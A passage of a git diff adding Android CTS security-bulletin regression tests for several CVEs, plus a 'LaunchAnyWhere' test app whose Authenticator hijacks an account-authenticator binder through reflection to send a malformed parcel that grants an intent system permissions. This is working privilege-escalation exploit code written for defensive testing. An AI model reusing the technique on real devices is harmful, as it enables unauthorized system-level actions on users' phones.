+ * for differences between the files in the submitted apk and the code in
+ * tests/tests/security/src/android/security/cts/launchanywhere.
+ *
+ * Exploit Overview:
+ * All LaunchAnyWhere exploits take advantage of classes that write more data
+ * than they read. They follow the same process to send an intent with system
+ * permissions. The process is described below (you do not need to understand
+ * this in order to create tests, but we learned this while debugging some
+ * things and don't want the information to be lost):
+ *
+ * 1. Add an account with the account type 'com.launchanywhere' When an account
+ * is added the AccountManager delegates the task of authenticating the
+ * account to an instance of AbstractAccountAuthenticator. Our malicious
+ * authenticator finds
+ * android.accounts.IAccountAuthenticatorResponse.Stub.Proxy and replaces
+ * it's mRemote field with our anonymous IBinder before returning a
+ * default-constructed bundle. We save the old value and delegate to it
+ * after altering the arguments when appropriate (MitM).
+ *
+ * 2. When we finish, our IBinder's transact is called. At this point we create
+ * a reboot intent and send it to the appropriate class to generate the
+ * malformed parcel. This grants the intent system permissions.
+ *
+ * 3. The phone reboots, proving a successful exploit.
+ */
+class LaunchSomeWhere {
+ public static void launchSomeWhere(String cve, ITestDevice device)
+ throws Exception {
+
+ String command = "am start";
+
+ String[] args = {
+ "--es", "cve", cve,
+ "-n", "com.android.security.cts.launchanywhere/.StartExploit"
+ };
+
+ for (String s : args) {
+ command += " " + s;
+ }
+
+ AdbUtils.runCommandLine(command, device);
+ if (device.waitForDeviceNotAvailable(9_000))
+ device.waitForDeviceAvailable();
+ }
+}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
index d3da935..75b9147 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
@@ -38,4 +38,16 @@
public void testPocCVE_2016_0844() throws Exception {
AdbUtils.runPoc("CVE-2016-0844", getDevice(), 60);
}
+
+ /**
+ * b/26593930
+ */
+ @SecurityTest
+ public void testPocCVE_2016_2412() throws Exception {
+ AdbUtils.runCommandLine("logcat -c" , getDevice());
+ AdbUtils.runPoc("CVE-2016-2412", getDevice(), 60);
+ String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatchesMultiLine("Fatal signal[\\s\\S]*>>> system_server <<<",
+ logcatOut);
+ }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
index 7ab08ad..5cd86bd 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
@@ -26,4 +26,15 @@
public void testPocCVE_2016_2471() throws Exception {
AdbUtils.runPoc("CVE-2016-2471", getDevice(), 60);
}
+
+ /**
+ * b/28760453
+ */
+ @SecurityTest
+ public void testPocCVE_2015_8839() throws Exception {
+ AdbUtils.runCommandLine("logcat -c" , getDevice());
+ AdbUtils.runPoc("CVE-2015-8839", getDevice(), 60);
+ String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertMatches("[\\s\\n\\S]*fallocate result EOPNOTSUPP[\\s\\n\\S]*", logcat);
+ }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
index 5641aee..df116d4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
@@ -106,5 +106,8 @@
assertNotMatches("[\\s\\n\\S]*Fatal signal 11 \\(SIGSEGV\\)" +
"[\\s\\n\\S]*>>> /system/bin/" +
"mediaserver <<<[\\s\\n\\S]*", logcat);
+
+ //make sure the app is uninstalled after the test
+ AdbUtils.runCommandLine("pm uninstall com.trendmicro.wish_wu.camera2" , getDevice());
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
new file mode 100644
index 0000000..d11a759
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
@@ -0,0 +1,33 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc16_11 extends SecurityTestCase {
+
+ /**
+ * b/29149404
+ */
+ @SecurityTest
+ public void testPocCVE_2012_6702() throws Exception {
+ AdbUtils.runCommandLine("logcat -c", getDevice());
+ AdbUtils.runPoc("CVE-2012-6702", getDevice(), 60);
+ String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatches("[\\s\\n\\S]*fail: encountered same random values![\\s\\n\\S]*", logcat);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
index 8ae30d6..8ef0754 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
@@ -144,4 +144,14 @@
"echo 18014398509481980 > /sys/kernel/debug/tracing/buffer_size_kb";
AdbUtils.runCommandLine(command, getDevice());
}
+
+ /**
+ * b/31796940
+ */
+ @SecurityTest
+ public void testPocCVE_2016_8406() throws Exception {
+ String cmd ="ls -l /sys/kernel/slab 2>/dev/null | grep nf_conn";
+ String result = AdbUtils.runCommandLine(cmd ,getDevice());
+ assertNotMatchesMultiLine("nf_conntrack_(?!0{8})[A-Fa-f0-9]{8}", result);
+ }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
index 44f7d27..ff867eb 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
@@ -29,4 +29,16 @@
String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
assertNotMatches("[\\s\\n\\S]*Bugreports file in wrong path[\\s\\n\\S]*", logcatOut);
}
+
+ /**
+ * b/32706020
+ */
+ @SecurityTest(minPatchLevel = "2017-02")
+ public void testPocCVE_2017_0415() throws Exception {
+ AdbUtils.runCommandLine("logcat -c", getDevice());
+ AdbUtils.runPoc("CVE-2017-0415", getDevice(), 60);
+ String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatchesMultiLine("Fatal signal[\\s\\S]*>>> /system/bin/mediaserver <<<",
+ logcatOut);
+ }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
index a6f1e04..0f7dfbf 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
@@ -26,10 +26,10 @@
@SecurityTest
public void testPocCVE_2016_8479() throws Exception {
if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
- AdbUtils.runPocNoOutput("CVE-2016-8479", getDevice(), 180);
+ AdbUtils.runPocNoOutput("CVE-2016-8479", getDevice(), 180);
// CTS begins the next test before device finishes rebooting,
// sleep to allow time for device to reboot.
- Thread.sleep(30000);
+ Thread.sleep(70000);
}
}
@@ -101,4 +101,20 @@
updateKernelStartTime();
assertEquals(bootCountBefore, bootCountAfter);
}
+
+
+ /**
+ * b/33621647
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0477() throws Exception {
+ AdbUtils.pushResource("/CVE-2017-0477.gif", "/data/local/tmp/CVE-2017-0477.gif",
+ getDevice());
+ AdbUtils.runCommandLine("logcat -c", getDevice());
+
+ // because runPocGetExitCode() isn't a thing
+ AdbUtils.runCommandLine("chmod +x /data/local/tmp/CVE-2017-0477", getDevice());
+ int code = AdbUtils.runCommandGetExitCode("/data/local/tmp/CVE-2017-0477", getDevice());
+ assertTrue(code != 139); // 128 + signal 11
+ }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java
new file mode 100644
index 0000000..b58fac4
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java
@@ -0,0 +1,41 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import java.util.concurrent.TimeUnit;
+
+@SecurityTest
+public class Poc17_06 extends SecurityTestCase {
+
+ /**
+ * b/36392138
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0647() throws Exception {
+ AdbUtils.pushResource("/CVE-2017-0647.zip", "/data/local/tmp/CVE-2017-0647.zip",
+ getDevice());
+ AdbUtils.runCommandLine("logcat -c" , getDevice());
+ AdbUtils.runCommandLine(
+ "dex2oat " +
+ "--dex-file=/data/local/tmp/CVE-2017-0647.zip " +
+ "--oat-file=/data/local/tmp/out " +
+ "--base=0x50000000", getDevice());
+ String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatchesMultiLine("Zip: missed a central dir sig", logcatOut);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
index 1d6c60d..d1e95d2 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
@@ -29,8 +29,26 @@
AdbUtils.runCommandLine("logcat -c" , getDevice());
AdbUtils.runPocNoOutput("CVE-2017-13232", getDevice(), 60);
String logcatOutput = AdbUtils.runCommandLine("logcat -d", getDevice());
- assertNotMatchesMultiLine(".*APM_AudioPolicyManager: getOutputForAttr\\(\\) "+
- "invalid attributes: usage=.{1,} content=.{1,} "+
- "flags=.{1,} tags=\\[.{256,}\\].*", logcatOutput);
+ assertNotMatchesMultiLine("APM_AudioPolicyManager: getOutputForAttr\\(\\) " +
+ "invalid attributes: usage=.{1,15} content=.{1,15} " +
+ "flags=.{1,15} tags=\\[A{256,}\\]", logcatOutput);
}
+
+ /**
+ * b/65853158
+ */
+ @SecurityTest
+ public void testPocCVE_2017_13273() throws Exception {
+ AdbUtils.runCommandLine("dmesg -c" ,getDevice());
+ AdbUtils.runCommandLine("setenforce 0",getDevice());
+ if(containsDriver(getDevice(), "/dev/xt_qtaguid") &&
+ containsDriver(getDevice(), "/proc/net/xt_qtaguid/ctrl")) {
+ AdbUtils.runPoc("CVE-2017-13273", getDevice(), 60);
+ String dmesgOut = AdbUtils.runCommandLine("cat /sys/fs/pstore/console-ramoops",
+ getDevice());
+ assertNotMatches("[\\s\\n\\S]*CVE-2017-132736 Tainted:" + "[\\s\\n\\S]*" +
+ "Kernel panic - not syncing: Fatal exception in interrupt", dmesgOut);
+ }
+ AdbUtils.runCommandLine("setenforce 1",getDevice());
+ }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java
new file mode 100644
index 0000000..f4b733d
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java
@@ -0,0 +1,32 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc18_05 extends SecurityTestCase {
+ /**
+ * b/70721937
+ * Does not require root but must be a hostside test to avoid a race
+ * condition
+ */
+ @SecurityTest
+ public void testPocCVE_2017_13315() throws Exception {
+ LaunchSomeWhere.launchSomeWhere("CVE_2017_13315", getDevice());
+ }
+}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
new file mode 100644
index 0000000..6efaafd
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
@@ -0,0 +1,35 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc18_07 extends SecurityTestCase {
+
+ /**
+ * b/76221123
+ */
+ @SecurityTest
+ public void testPocCVE_2018_9424() throws Exception {
+ AdbUtils.runCommandLine("logcat -c" , getDevice());
+ AdbUtils.runPoc("CVE-2018-9424", getDevice(), 60);
+ String result = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatches("[\\s\\n\\S]*Fatal signal [\\s\\n\\S]*", result);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
new file mode 100644
index 0000000..f9daa8d
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
@@ -0,0 +1,39 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc18_10 extends SecurityTestCase {
+
+ /**
+ * b/111641492
+ */
+ @SecurityTest
+ public void testPocCVE_2018_9515() throws Exception {
+ AdbUtils.runCommandLine("rm /sdcard/Android/data/CVE-2018-9515", getDevice());
+ AdbUtils.runCommandLine("mkdir /sdcard/Android/data/CVE-2018-9515", getDevice());
+ AdbUtils.runPocNoOutput("CVE-2018-9515", getDevice(), 300);
+ boolean vulnerableBecauseCrashed = getDevice().waitForDeviceNotAvailable(10_000);
+ if (vulnerableBecauseCrashed) {
+ // wait for device to come online so we can clean up
+ getDevice().waitForDeviceAvailable(120_000); // 2 minutes
+ }
+ AdbUtils.runCommandLine("rm -rf /sdcard/Android/data/CVE-2018-9515", getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index cacceaa..ba47f33 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -23,7 +23,9 @@
import com.android.tradefed.log.LogUtil.CLog;
import java.util.regex.Pattern;
-import com.android.ddmlib.MultiLineReceiver;
+import java.util.regex.Matcher;
+import java.util.Map;
+import java.util.HashMap;
import com.android.ddmlib.Log;
public class SecurityTestCase extends DeviceTestCase {
@@ -31,7 +33,8 @@
private static final String LOG_TAG = "SecurityTestCase";
private long kernelStartTime;
- private static Thread checkOom = null;
+
+ private HostsideOomCatcher oomCatcher = new HostsideOomCatcher(this);
/**
* Waits for device to be online, marks the most recent boottime of the device
@@ -46,11 +49,7 @@
//TODO:(badash@): Watch for other things to track.
// Specifically time when app framework starts
- // Start Out of Memory detection in separate thread
- //if (checkOom == null || !checkOom.isAlive()) {
- // checkOom = new Thread(new OomChecker());
- // checkOom.start();
- //}
+ oomCatcher.start();
}
/**
@@ -94,65 +93,50 @@
*/
@Override
public void tearDown() throws Exception {
- getDevice().waitForDeviceAvailable(120 * 1000);
- String uptime = getDevice().executeShellCommand("cat /proc/uptime");
- assertTrue("Phone has had a hard reset",
- (System.currentTimeMillis()/1000 -
- Integer.parseInt(uptime.substring(0, uptime.indexOf('.')))
- - kernelStartTime < 2));
- //TODO(badash@): add ability to catch runtime restart
- getDevice().disableAdbRoot();
+ try {
+ getDevice().waitForDeviceAvailable(120 * 1000);
+ String uptime = getDevice().executeShellCommand("cat /proc/uptime");
+ assertTrue("Phone has had a hard reset",
+ (System.currentTimeMillis()/1000 -
+ Integer.parseInt(uptime.substring(0, uptime.indexOf('.')))
+ - kernelStartTime < 2));
+ //TODO(badash@): add ability to catch runtime restart
+ getDevice().disableAdbRoot();
+
+ if (oomCatcher.isOomDetected()) {
+ switch (oomCatcher.getOomBehavior()) {
+ case FAIL_AND_LOG:
+ fail("The device ran out of memory.");
+ return;
+ case PASS_AND_LOG:
+ Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG, "Skipping test.");
+ return;
+ case FAIL_NO_LOG:
+ fail();
+ return;
+ }
+ }
+
+ } finally {
+ oomCatcher.stop(getDevice().getSerialNumber());
+ }
}
public void assertMatches(String pattern, String input) throws Exception {
assertTrue("Pattern not found", Pattern.matches(pattern, input));
}
+ public void assertMatchesMultiLine(String pattern, String input) throws Exception {
+ assertTrue("Pattern not found: " + pattern,
+ Pattern.compile(pattern, Pattern.DOTALL|Pattern.MULTILINE).matcher(input).find());
+ }
+
public void assertNotMatches(String pattern, String input) throws Exception {
assertFalse("Pattern found", Pattern.matches(pattern, input));
}
public void assertNotMatchesMultiLine(String pattern, String input) throws Exception {
- assertFalse("Pattern found",
- Pattern.compile(pattern,
- Pattern.DOTALL).matcher(input).matches());
- }
-
- class OomChecker implements Runnable {
-
- @Override
- public void run() {
- MultiLineReceiver rcvr = new MultiLineReceiver() {
- private boolean isCancelled = false;
-
- public void processNewLines(String[] lines) {
- for (String line : lines) {
- if (Pattern.matches(".*lowmemorykiller.*", line)) {
- // low memory detected, reboot device to clear memory and pass test
- isCancelled = true;
- Log.i(LOG_TAG, "lowmemorykiller detected; rebooting device and passing test");
- try {
- getDevice().rebootUntilOnline();
- updateKernelStartTime();
- } catch (Exception e) {
- Log.e(LOG_TAG, e.toString());
- }
- return; // we don't need to process remaining lines in the array
- }
- }
- }
-
- public boolean isCancelled() {
- return isCancelled;
- }
- };
-
- try {
- AdbUtils.runCommandLine("logcat -c", getDevice());
- getDevice().executeShellCommand("logcat", rcvr);
- } catch (Exception e) {
- Log.e(LOG_TAG, e.toString());
- }
- }
+ assertFalse("Pattern found: " + pattern,
+ Pattern.compile(pattern, Pattern.DOTALL|Pattern.MULTILINE).matcher(input).find());
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/Android.mk b/hostsidetests/securitybulletin/test-apps/Android.mk
new file mode 100644
index 0000000..f8d63a5
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/Android.mk
@@ -0,0 +1,23 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+
+# Build the test APKs using their own makefiles
+include $(call all-makefiles-under,$(LOCAL_PATH))
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.mk b/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.mk
new file mode 100644
index 0000000..226c360
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.mk
@@ -0,0 +1,34 @@
+#
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_SDK_VERSION := current
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsHostLaunchAnyWhereApp
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/launchanywhere/AndroidManifest.xml
new file mode 100644
index 0000000..1553c92
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/AndroidManifest.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.security.cts.launchanywhere"
+ android:versionCode="1"
+ android:versionName="1.0">
+
+ <application android:label="LaunchAnyWhere Exploitation App">
+ <activity android:name=".StartExploit">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+
+ <service android:name=".AuthenticatorService"
+ android:enabled="true"
+ android:exported="true">
+
+ <intent-filter>
+ <action android:name="android.accounts.AccountAuthenticator" />
+ </intent-filter>
+
+ <meta-data
+ android:name="android.accounts.AccountAuthenticator"
+ android:resource="@xml/launchanywhere_authenticator" />
+ </service>
+
+ </application>
+</manifest>
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/res/xml/launchanywhere_authenticator.xml b/hostsidetests/securitybulletin/test-apps/launchanywhere/res/xml/launchanywhere_authenticator.xml
new file mode 100644
index 0000000..bd8643f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/res/xml/launchanywhere_authenticator.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<account-authenticator
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:accountType="com.launchanywhere"
+ />
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/Authenticator.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/Authenticator.java
new file mode 100644
index 0000000..536d9da
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/Authenticator.java
@@ -0,0 +1,180 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.security.cts.launchanywhere;
+
+import android.accounts.AbstractAccountAuthenticator;
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.IInterface;
+import android.os.Parcel;
+import android.os.RemoteException;
+
+import java.io.FileDescriptor;
+import java.lang.reflect.Field;
+
+public class Authenticator extends AbstractAccountAuthenticator {
+ static public IGenerateMalformedParcel exploit;
+
+ private int TRANSACTION_onResult;
+ private IBinder mOriginRemote;
+ private IBinder mProxyRemote = new IBinder() {
+ @Override
+ public String getInterfaceDescriptor() throws RemoteException {
+ return null;
+ }
+
+ @Override
+ public boolean pingBinder() {
+ return false;
+ }
+
+ @Override
+ public boolean isBinderAlive() {
+ return false;
+ }
+
+ @Override
+ public IInterface queryLocalInterface(String descriptor) {
+ return null;
+ }
+
+ @Override
+ public void dump(FileDescriptor fd, String[] args) throws RemoteException {}
+
+ @Override
+ public void dumpAsync(FileDescriptor fd, String[] args)
+ throws RemoteException {}
+
+ @Override
+ public boolean transact(int code, Parcel data, Parcel reply, int flags)
+ throws RemoteException {
+ if (code == TRANSACTION_onResult) {
+ data.recycle();
+ Intent payload = new Intent();
+ payload.setAction(Intent.ACTION_REBOOT);
+ data = exploit.generate(payload);
+ }
+
+ mOriginRemote.transact(code, data, reply, flags);
+ return true;
+ }
+
+ @Override
+ public void linkToDeath(DeathRecipient recipient, int flags)
+ throws RemoteException {}
+
+ @Override
+ public boolean unlinkToDeath(DeathRecipient recipient, int flags) {
+ return false;
+ }
+ };
+
+ public Authenticator(Context context) {
+ super(context);
+ }
+
+ @Override
+ public String getAuthTokenLabel(String authTokenType) {
+ return null;
+ }
+
+ @Override
+ public Bundle editProperties(AccountAuthenticatorResponse response,
+ String accountType) {
+ return null;
+ }
+
+ @Override
+ public Bundle getAuthToken(AccountAuthenticatorResponse response,
+ Account account, String authTokenType, Bundle options) {
+ return null;
+ }
+
+ @Override
+ public Bundle addAccount(AccountAuthenticatorResponse response,
+ String accountType, String authTokenType, String[] requiredFeatures,
+ Bundle options) {
+ try {
+ Field mAccountAuthenticatorResponseField =
+ Class.forName("android.accounts.AccountAuthenticatorResponse")
+ .getDeclaredField("mAccountAuthenticatorResponse");
+
+ mAccountAuthenticatorResponseField.setAccessible(true);
+
+ Object mAccountAuthenticatorResponse =
+ mAccountAuthenticatorResponseField.get(response);
+
+ Class stubClass = null;
+ String responseName = "android.accounts.IAccountAuthenticatorResponse";
+ Class<?>[] classes = Class.forName(responseName).getDeclaredClasses();
+
+ String stubName = responseName + ".Stub";
+ for (Class inner : classes) {
+ if (inner.getCanonicalName().equals(stubName)) {
+ stubClass = inner;
+ break;
+ }
+ }
+
+ Field TRANSACTION_onResultField =
+ stubClass.getDeclaredField("TRANSACTION_onResult");
+ TRANSACTION_onResultField.setAccessible(true);
+ TRANSACTION_onResult = TRANSACTION_onResultField.getInt(null);
+
+ Class proxyClass = null;
+ String proxyName = stubName + ".Proxy";
+ for (Class inner : stubClass.getDeclaredClasses()) {
+ if (inner.getCanonicalName().equals(proxyName)) {
+ proxyClass = inner;
+ break;
+ }
+ }
+
+ Field mRemoteField = proxyClass.getDeclaredField("mRemote");
+ mRemoteField.setAccessible(true);
+ mOriginRemote = (IBinder) mRemoteField.get(mAccountAuthenticatorResponse);
+ mRemoteField.set(mAccountAuthenticatorResponse, mProxyRemote);
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+
+ return new Bundle();
+ }
+
+ @Override
+ public Bundle confirmCredentials(
+ AccountAuthenticatorResponse response, Account account, Bundle options) {
+ return null;
+ }
+
+ @Override
+ public Bundle updateCredentials(AccountAuthenticatorResponse response,
+ Account account, String authTokenType, Bundle options) {
+ return null;
+ }
+
+ @Override
+ public Bundle hasFeatures(
+ AccountAuthenticatorResponse response, Account account, String[] features)
